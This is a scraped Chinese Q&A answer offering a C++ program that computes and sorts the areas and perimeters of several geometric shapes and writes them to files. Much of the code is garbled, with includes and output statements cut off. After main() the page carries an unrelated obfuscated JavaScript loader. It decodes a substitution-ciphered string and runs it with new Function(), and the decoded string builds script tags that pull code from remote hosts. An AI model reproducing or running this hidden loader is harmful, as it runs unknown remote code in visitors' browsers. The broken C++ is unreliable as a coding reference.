推荐回答(1个)
自己修改,该删的删。如果不懂,到群151988677,找千里,大家一起探讨
#include "iostream.h"
#include
#include "string.h"
#include
#include
#define PI 3.14159
using namespace std;
int ct=0,count=0;
float area[100],circumference[100];
void quick_sort(float a[],float z[],int low,int high);
int partition(float a[],float z[],int low,int high);
void Output(const float a[],const float z[],const int count);
//数据输出
void Output(const float a[],const float z[],const int count)
{
cout<<"面积: "< for(int i=1;i<=count;i++)
cout<}
//抽象类
class Base
{
public:
virtual float Area()=0;
virtual float Girth()=0;
virtual void setfromfile();
virtual void printtofile(int);
};
//对创建的对象按面积排序屏幕输出
void Base::setfromfile()
{ char s[20];
int i=1;
float a[100],z[100];
cin>>s;count=0;
strcat(s,".geo");
ifstream file(s);
if(file)
{
file.seekg(0);
while(file) //文件读
{
count++;
file.read(reinterpret_cast(&a[i]),sizeof(a[i]));
file.read(reinterpret_cast(&z[i]),sizeof(z[i]));
i++;
}
count--;
quick_sort(z,a,1,count);//数据按周长排序
system("cls");
cout<<"输出结果按周长大小排序"< Output(a,z,count);//屏幕输出
}
else {system("cls");cout<<"该文件不存在!";}
cout<<"输入任意字符结束";
char j;
cin>>j;
}
//按面积排序屏幕输出或者按面积排序文件输出新数据追加到文件尾
void Base::printtofile(int i)
{
if(i==1)
{ quick_sort(area,circumference,1,ct);//按面积排序
system("cls");
cout< Output(area,circumference,ct);//屏幕输出
}
else
{
char s[20];
cout< cin>>s;
strcat(s,".geo");
quick_sort(area,circumference,1,ct);
ofstream file(s,ios_base::app);
cout< for(int i=1;i<=ct;i++)
{
file.write(reinterpret_cast(&area[i]),sizeof(area[i]));
file.write(reinterpret_cast(&circumference[i]),sizeof(circumference[i]));
}
system("cls");
cout< file.close();
}
}
//点类
class Point
{
private:
float x,y; //点坐标
public:
Point(float x=0.0,float y=0.0):x(x),y(y){}
float getx(){return x;}
float gety(){return y;}
};
//矩形类
class Rec:public Base
{
private:
Point a,b;
float h,l;
public:
Rec(Point a=NULL,Point b=NULL):a(a),b(b)
{h=b.getx()-a.getx();
l=b.gety()-a.gety();
ct++;area[ct]=Area();
circumference[ct]=Girth();}
float Area();
float Girth();
};
//矩形面积
float Rec::Area()
{
return h*l;
}
//矩形周长
float Rec::Girth()
{
return 2*(l+h);
}
//三角形类
class Tri:public Base
{
private:
Point a,b,c;//三角形的三个顶点
public:
Tri(Point a=NULL,Point b=NULL,Point c=NULL):a(a),b(b),c(c)
{
ct++;area[ct]=Area();
circumference[ct]=Girth();
}
float Area();
float Girth();
};
//三角形面积
float Tri::Area()
{
float l1=sqrt((a.getx()-b.getx())*(a.getx()-b.getx())+(a.gety()-b.gety())*(a.gety()-b.gety()));
float l2=sqrt((a.getx()-c.getx())*(a.getx()-c.getx())+(a.gety()-c.gety())*(a.gety()-c.gety()));
float l3=sqrt((c.getx()-b.getx())*(c.getx()-b.getx())+(c.gety()-b.gety())*(c.gety()-b.gety()));
float l=(l1+l2+l3)/2;
return sqrt(l*(l-l1)*(l-l2)*(l-l3));
}
/***********三角形周长***********/
float Tri::Girth()
{
float l1=sqrt((a.getx()-b.getx())*(a.getx()-b.getx())+(a.gety()-b.gety())*(a.gety()-b.gety()));
float l2=sqrt((a.getx()-c.getx())*(a.getx()-c.getx())+(a.gety()-c.gety())*(a.gety()-c.gety()));
float l3=sqrt((c.getx()-b.getx())*(c.getx()-b.getx())+(c.gety()-b.gety())*(c.gety()-b.gety()));
return l1+l2+l3;
}
int jiancha(Point &a,Point &b,Point &c)
{
float l1=sqrt((a.getx()-b.getx())*(a.getx()-b.getx())+(a.gety()-b.gety())*(a.gety()-b.gety()));
float l2=sqrt((a.getx()-c.getx())*(a.getx()-c.getx())+(a.gety()-c.gety())*(a.gety()-c.gety()));
float l3=sqrt((c.getx()-b.getx())*(c.getx()-b.getx())+(c.gety()-b.gety())*(c.gety()-b.gety()));
if(l1+l2<=l3||l1+l3<=l2||l2+l3<=l1)
return 1;
return 0;
}
/***********圆类***********/
class Circle:public Base
{
private:
Point a;
float r;
public:
Circle(Point a=NULL,float r=0):r(r)
{ct++;area[ct]=Area();
circumference[ct]=Girth();}
float Area();
float Girth();
};
/***********圆面积***********/
float Circle::Area()
{
return PI*r*r;
}
/***********圆周长***********/
float Circle::Girth()
{
return 2*PI*r;
}
/***********扇形类***********/
class S:public Base
{
private:
Point a;/***********左上顶点***********/
float r,b;/***********半径及弧度***********/
public:
S(Point a=NULL,float r=0,float b=0):a(a),r(r),b(b)
{ct++;area[ct]=Area();
circumference[ct]=Girth();}
float Area();
float Girth();
};
/***********扇形面积***********/
float S::Area()
{
return b/2*r*r;
}
//扇形周长
float S::Girth()
{
return 2*r+b*r;
}
//梯形类
class T:public Base
{
private:
Point a,b;//左下顶点,右上角顶点
float l1,l2,l3,l4,h;
public:
T(Point a=NULL,Point b=NULL,float l1=0,float l2=0,float l3=0,float l4=0):a(a),b(b),l1(l1),l2(l2),l3(l3),l4(l4)
{h=b.gety()-a.gety();
ct++;area[ct]=Area();
circumference[ct]=Girth();}
float Area();
float Girth();
};
//梯形面积
float T::Area()
{
return (l1+l2)/2*h;
}
//梯形周长
float T::Girth()
{
return l1+l2+l3+l4;
}
//键盘输入数据保存菜单
template
void Menu1(t m)
{ cout<<"面积:"< char num;
do
{
cout< cout<<"2:文件输出:"< cout<<"其他任意键回到主界面:"<
cin>>num;
switch(num)
{
case '1':m.printtofile(1);break; //文件数据按面积排序屏幕输出
case '2':m.printtofile(2);break;//文件数据按面积排序文件输出
default:{system("cls");break;}
}
}while(num=='1'||num=='2');
}
void geshi(float &n)
{
cin>>n;
while(!cin)
{cin.clear(0);cin.ignore(1000,'\n');cout<<"格式错误,请重输!"<>n;}
}
void geshi(float &n,int &flag)
{
cin>>n;
if(!cin)
{cin.clear(0);cin.ignore(1000,'\n');flag=1;}
}
void geshi(char &c,int &flag)
{
cin>>c;
if(c!=',')
{flag=1;cin.ignore(1000,'\n');}
}
void shuru(float &n,char &c,float &m)
{ int flag;
do
{
flag=0;
geshi(n);
geshi(c,flag);
geshi(m,flag);
if(flag)
cout<<"格式错误,请重输!"< }while(flag);
}
/***********矩形操作***********/
void Rectangle()
{
cout< float n,m;int flag;
char c;
while(1)
{ int i=0;
flag=0;
cout< shuru(n,c,m);
Point a(n,m);
cout< shuru(n,c,m);
if(a.getx()>=n||a.gety()>=m)
{
cout<<"输入错误,右上角点的坐标x/y应该>矩形左下角点的坐标x/y";
flag=1;
}
else
{Point b(n,m);
Rec m(a,b);
Menu1(m);}
if(!flag) break;
}
}
/***********三角形操作***********/
void Triangle()
{
float x1,y1;
char c;
cout< while(1)
{
int flag=0;
cout< shuru(x1,c,y1);Point a(x1,y1);
cout< shuru(x1,c,y1);Point b(x1,y1);
cout< shuru(x1,c,y1);Point e(x1,y1);
if(jiancha(a,b,e))
{
system("cls");
cout<<"输入数据有误,不是三角形的三个顶点,请重输!"< flag=1;
}
else
{
Tri t(a,b,e);//创建三角形对象
Menu1(t);
}
if(!flag) break;
}
}
//圆形
void circle()
{
float x1,y1,r;
char c;
cout< cout< shuru(x1,c,y1);
while(1)
{
cout<0:";
cin>>r;
if(r>0) break;//数据格式都正确跳出
cout<<"格式错误,请重输!(半径>0):"< }
Point a(x1,y1);
Circle ci(a,r);//圆对象
Menu1(ci);
}
//扇形
void Scall()
{
float x1,y1,r,b;
char c;
cout< while(1)
{
int flag=0;
cout< shuru(x1,c,y1);
while(1)
{
cout<0:";
cin>>r;
if(r>0) break;//数据都正确
cout<<"格式错误,请重输!扇形半径>0"< }
while(1)
{
cout<0&&b<2*"< cin>>b;
if(b>0&&b<2*PI) break;/***********数据格式都正确跳出***********/
cout<<"格式错误,请重输!(b>0&&b<2*"< }
Point a(x1,y1);
S c(a,r,b); //创建扇形对象
Menu1(c);
if(!flag) break;
}
}
//梯形
void Trape()
{
float x1,y1,l1,l2,l3,l4;
char c;int flag;
do
{ flag=0;
cout< cout< shuru(x1,c,y1);
Point a(x1,y1);
cout< shuru(x1,c,y1);
if(a.getx()>=x1||a.gety()>=y1)
{
cout<<"输入错误,右上角点的坐标x/y应该>矩形左下角点的坐标x/y";
flag=1;
}
else{
Point b(x1,y1);
while(1)
{
cout< cin>>l1>>c>>l2>>c>>l3>>c>>l4;
if(l1>0&&l2>0&&l3>0&&l4>0&&c==',') break;//数据格式都正确
cout<<"数据输入错误,请重输!边长应该大于0"< }
T t(a,b,l1,l2,l3,l4);//创建梯形对象
Menu1(t);
}
}while(flag);
}
int partition(float a[],float z[],int low,int high)
{
a[0]=a[low];z[0]=z[low];
while(low {
while(low=a[0]) high--;
if(low while(low if(low
}
a[low]=a[0];z[low]=z[0];
return low;
}
void quick_sort(float a[],float z[],int low,int high)
{
if(low {
int i;
i=partition(a,z,low,high);
quick_sort(a,z,low,i-1);
quick_sort(a,z,i+1,high);
}
}
/***********主菜单***********/
void Menu()
{ T a;
while(1)
{
cout< cout<<" * A:矩形 *"< cout<<" * B:三角型 *"< cout<<" * C:圆形 *"< cout<<" * D:扇型 *"< cout<<" * E:梯形 *"< cout<<" * F:文件输出 *"< cout<<" * 其他任意键结束程序 *"< cout<<" *******************************"< cout<<"请选择你要操作的图形代号:"< char num;
cin>>num;
int flag=0;
switch(num)
{
case 'a':
case 'A':Rectangle();break;
case 'b':
case 'B':Triangle();break;
case 'c':
case 'C':circle();break;
case 'd':
case 'D':Scall();break;
case 'e':
case 'E':Trape();break;
case 'f':
case 'F':cout<<"请输入要屏幕输出的文件名!"< default:{flag=1;cout<<"结束程序!"< }
if(flag) break;
}
}
/***********主函数***********/
int main(int argc, char* argv[])
{
Menu();
return 0;
}
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();